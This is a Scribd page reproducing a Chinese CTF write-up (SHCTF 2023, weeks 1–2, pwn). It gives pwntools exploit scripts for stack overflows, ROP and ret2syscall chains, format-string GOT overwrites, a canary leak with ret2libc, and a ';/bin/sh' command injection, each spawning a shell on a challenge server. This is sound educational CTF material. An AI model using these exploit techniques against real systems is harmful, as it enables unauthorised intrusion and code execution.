0% found this document useful (0 votes)
162 views8 pages

SHCTF 2023 Writeup

This summary provides the key details from the document in 3 sentences or less: The document provides instructions and code snippets for several pwnable challenges, including babystack, easy_shellcode, pkmon, ropchain, baby_rop, string, and others. The challenges involve stack overflow vulnerabilities, format string bugs, and other memory corruption issues. The code examples demonstrate exploiting these issues to execute shellcode, spawn an interactive shell, or escalate privileges through techniques like return-oriented programming and ret2libc.

Uploaded by

s4nwee1
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
162 views8 pages

SHCTF 2023 Writeup

This summary provides the key details from the document in 3 sentences or less: The document provides instructions and code snippets for several pwnable challenges, including babystack, easy_shellcode, pkmon, ropchain, baby_rop, string, and others. The challenges involve stack overflow vulnerabilities, format string bugs, and other memory corruption issues. The code examples demonstrate exploiting these issues to execute shellcode, spawn an interactive shell, or escalate privileges through techniques like return-oriented programming and ret2libc.

Uploaded by

s4nwee1
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

SHCTF_week1&2_pwn

nc, hard nc
nc 题就不写了。

showshowway
越界写。

payload = 'a'*(0x100-0xc0) + 'showshowway' + '\x00'

口算题
写个循环来接收字符串后,进行识别和计算

四则计算器
使用 '\x00' 来截断,绕过对字符长度的限制,然后 ret2text

babystack
有 '/bin/sh\x00' 和 system_plt

from pwn import *


# p = process('./babystack')
p = remote('[Link]', 30230)
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def debug(content):
[Link](p, content)
pause()

shell = 0x400858
pop_rdi_ret = 0x400833
system = 0x4005d0

payload = 'a'*(0x20+0x8)
payload += p64(pop_rdi_ret)
payload += p64(shell)
payload += p64(system)

[Link](payload)

[Link]()
easy_shellcode
泄 old_ebp 后计算栈地址,然后打 ret2shellcode

from pwn import *


# p = process('./shellcode')
p = remote('[Link]', 30373)
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def debug(content):
[Link](p, content)
pause()

# debug('b *0x4011C3')
[Link]('a'*0xf)
leak_addr = u64([Link]('\x7f')[-6:].ljust(8,"\x00"))
[Link]('leak_addr: ' + hex(leak_addr))

'''
pwndbg> dist 0x7ffd22fdbc30 0x7ffd22fdbbb0
0x7ffd22fdbc30->0x7ffd22fdbbb0 is -0x80 bytes (-0x10 words)
'''

buf_addr = leak_addr - 0x80

shellcode = asm([Link]())
payload = [Link](0x78, 'a')
payload += p64(buf_addr)
[Link](payload)

[Link]()

pkmon
参数 v1 可控,任意地址写

from pwn import *


# p = process('./pkmon')
p = remote('[Link]', 30280)
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def debug(content):
[Link](p, content)
pause()

shell = 0x40072F
puts_got = 0x601018
# (0x6010A0-0x601018)/8=0X11=17
[Link]('-17')

payload = p64(shell)
[Link](payload)
[Link]()

ropchain
栈溢出,没有 '/bin/sh\x00' 字符串,但是有 system 函数,静态编译的,打法很多

(没有 '/bin/sh\x00' 字符串的话,常规思路是泄 libc 之后拿 libc 里面的 '/bin/sh\x00' ,或


者是自己往程序某处可写的地址写

from pwn import *


p = process('./simplerop')
# p = remote('[Link]', 30143)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./simplerop')

def debug(content):
[Link](p, content)
pause()

rop = ROP(elf)
[Link](0, [Link](0x50), 0x10)
[Link]([Link](0x50), 0, 0)

# debug('b *0x401853')
payload = 'a'*(0x20 + 0x8)
# payload += [Link]()
payload += str(rop)
[Link](payload)
[Link]('/bin/sh\x00')

[Link]()

baby_rop
栈溢出,32 位,静态编译,没有 '/bin/sh\x00' 字符串,打 ret2syscall

from pwn import *


# p = process('./simplerop32')
p = remote('[Link]', 30378)
context(os = 'linux',arch = 'i386',log_level = 'debug')
elf = ELF('./simplerop32')

def debug(content):
[Link](p, content)
pause()

[Link]('binsh: ' + hex([Link](0x100)))

int_0x80 = 0x08049b62
eax = 0x080aa06a
edx_ecx_ebx = 0x08049941
# debug('b *0x0804992F')
payload = 'a'*(0x1c + 0x4)
payload += p32(0x0805CAF0)
payload += p32(edx_ecx_ebx)
payload += p32(0)
payload += p32([Link](0x100))
payload += p32(0x10)

payload += p32(edx_ecx_ebx)
payload += p32(0) + p32(0) + p32([Link](0x100))
payload += p32(eax)
payload += p32(0xb)
payload += p32(int_0x80)

[Link](payload)
[Link]('/bin/sh\x00')

[Link]()

baby_rop2
栈溢出,64 位,静态编译,没有 '/bin/sh\x00' 字符串,打 ret2syscall

from pwn import *


# p = process('./simplerop64')
p = remote('[Link]', 30532)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./simplerop64')

def debug(content):
[Link](p, content)
pause()

rdi = 0x401d1d
rsi = 0x40a30d
rdx = 0x401858
rax = 0x419a1c
read = 0x4197C0
syscall = 0x401243

payload = 'a'*(0x20 + 0x8)


payload += p64(rdi)
payload += p64(0)
payload += p64(rsi)
payload += p64([Link](0x100))
payload += p64(rdx)
payload += p64(0x10)
payload += p64(read)

payload += p64(rdi)
payload += p64([Link](0x100))
payload += p64(rsi)
payload += p64(0)
payload += p64(rdx)
payload += p64(0)
payload += p64(rax)
payload += p64(0x3b)
payload += p64(syscall)

[Link](payload)
[Link]('/bin/sh\x00')

[Link]()

string
利用格式化字符串泄 libc ,然后利用格式化字符串打 got 表

from pwn import *


# p = process('./pwn')
p = remote('[Link]', 31035)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./pwn')
libc = [Link]

def debug(content):
[Link](p, content)
pause()

# debug('b *0x401283')
[Link]('choice:\n', '1')

# 0x7fffff417970->0x7fffff417a98 is 0x128 bytes (0x25 words)


# 0x128/0x8=0x25=37, 37+6=43
payload = '%43$p'
[Link]('message:\n', payload)
leak_addr = int([Link](14),16) #(__libc_start_main+243)
[Link]('leak_addr = ' + hex(leak_addr))

libc_base = leak_addr - [Link]['__libc_start_main'] - 243


[Link]('libc_base = ' + hex(libc_base))

#2.31-0ubuntu9.9 one_gadget
one_gadget = [0xe3afe,0xe3b01,0xe3b04]
backdoor = libc_base + one_gadget[1]

# debug('b *0x401244')
puts_got = 0x404018
[Link]('choice:\n', '1')
payload = fmtstr_payload(6, {puts_got: backdoor})
[Link]('message:\n', payload)

[Link]()
猜数游戏
伪随机数预测,但是这题有小坑,首先是要计算预测的随机数的长度,这时注意一下这句代码
fgets(s, v3 - 1, stdin); ,其次因为他的长度限制,可能需要爆破几次

from pwn import *


from ctypes import *

context(os = 'linux',arch = 'amd64',log_level = 'debug')


elf = [Link]("[Link].6")
p = process('./guess')
# p = remote('[Link]', 32781)

def debug(content):
[Link](p, content)
pause()

# debug('b *$rebase(0x139E)')

seed = int([Link]())
[Link](seed)
guess_num = [Link]()
guess_num_str = str(guess_num)
length_of_guess_num = len(guess_num_str)
length_of_guess_num = length_of_guess_num + 2 #???exinren

[Link]('guess_num: ' + hex(guess_num))

# debug('b *$rebase(0x1466)')
[Link]('number?\n', str(length_of_guess_num).encode())
[Link](guess_num_str.encode())

[Link]()

要买些东西吗
32位的程序,格式化字符串泄 canary ,然后 ret2libc

from pwn import *


# p = process('./pwn')
p = remote('[Link]', 32813)
context(os = 'linux',arch = 'i386',log_level = 'debug')
elf = ELF('./pwn')
libc = ELF('./[Link].6')

def debug(content):
[Link](p, content)
pause()

[Link]('choice:\n', '1')
payload = 'a'*(0x20)
[Link]('gift\n', payload)

[Link](payload)
canary = u32([Link](4))
canary = canary-ord('\n')
[Link]("canary: " + hex(canary))

main_addr = [Link]['main']
puts_plt = [Link]['puts']
puts_got = [Link]['puts']

[Link]('choice:\n', '2')
payload = 'a'*(0x2c - 0xc)
payload += p32(canary)
payload += 'a'*(0xc)
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)

[Link]('power\n', payload)

puts_addr = u32([Link](4))
libc_base = puts_addr - [Link]['puts']
[Link]('libc_base: ' + hex(libc_base))

system_addr = libc_base + [Link]['system']


binsh = 0x0804A03F

[Link]('choice:\n', '2')
payload = 'a'*(0x2c - 0xc)
payload += p32(canary)
payload += 'a'*(0xc)
payload += p32(system_addr)
payload += p32(0)
payload += p32(binsh)
[Link]('power\n', payload)

[Link]()

原始人,起动
字符串匹配后,任意指令执行,使用 ; 来闭合前面的语句,后面填入 /bin/sh\x00 ,注意将连续的四
个字节码转成十进制数后再发送

from pwn import *


# p = process('./pwn')
p = remote('[Link]', 32689)
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def debug(content):
[Link](p, content)
pause()

def hex_to_decimal(hex_number):
decimal_number = str(int(hex_number))
return decimal_number

# debug('b *0x400777')
# debug('b *0x4007B0')
'''
pwndbg> x/20gx 0x601060
0x601060 <qidong>: 0x6e6568736e617579 0x21676e6f6469712c
0x601070 <qidong+16>: 0x0000000000000000 0x0000000000000000
'''
[Link]('Genshin\n', hex_to_decimal(0x6e617579))

[Link](hex_to_decimal(0x6e656873))
[Link](hex_to_decimal(0x6469712c))
[Link](hex_to_decimal(0x21676e6f))

[Link](hex_to_decimal(0x69622f3b)) # ib/;
[Link](hex_to_decimal(0x68732f6e)) # hs/n

[Link]('\x00')

[Link]()

You might also like